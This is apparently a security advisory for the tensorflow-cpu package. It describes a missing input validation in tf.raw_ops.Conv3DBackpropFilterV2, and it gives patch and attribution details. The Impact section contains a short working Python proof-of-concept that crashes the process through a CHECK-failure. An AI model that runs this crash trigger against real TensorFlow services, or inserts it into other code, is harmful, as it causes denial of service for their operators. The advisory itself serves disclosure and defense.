PT-2026-59893 · Pypi · Tensorflow-Cpu
Published
2026-07-09
·
Updated
2026-07-09
CVSS v3.1
5.5
Medium
| Vector | AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H |
Impact
The implementation of [
tf.raw ops.Conv3DBackpropFilterV2](https://github.com/tensorflow/tensorflow/blob/f3b9bf4c3c0597563b289c0512e98d4ce81f886e/tensorflow/core/kernels/conv grad ops 3d.cc) does not fully validate the input arguments. This results in a CHECK-failure which can be used to trigger a denial of service attack:python
import tensorflow as tf
tf.raw ops.Conv3DBackpropFilterV2(
input=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
filter sizes=tf.constant(0, shape=[], dtype=tf.int32),
out backprop=tf.constant(.5053710941, shape=[2,2,2,2,1], dtype=tf.float16),
strides=[1, 1, 1, 1, 1],
padding="VALID",
data format="NDHWC",
dilations=[1, 1, 1, 1, 1])The code does not validate that the
filter sizes argument is a vector.Patches
We have patched the issue in GitHub commit 174c5096f303d5be7ed2ca2662b08371bff4ab88.
The fix will be included in TensorFlow 2.9.0. We will also cherrypick this commit on TensorFlow 2.8.1, TensorFlow 2.7.2, and TensorFlow 2.6.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Neophytos Christou from Secure Systems Lab at Brown University.
Fix
Found an issue in the description? Have something to add? Feel free to write us 👾
Related Identifiers
Affected Products
Tensorflow-Cpu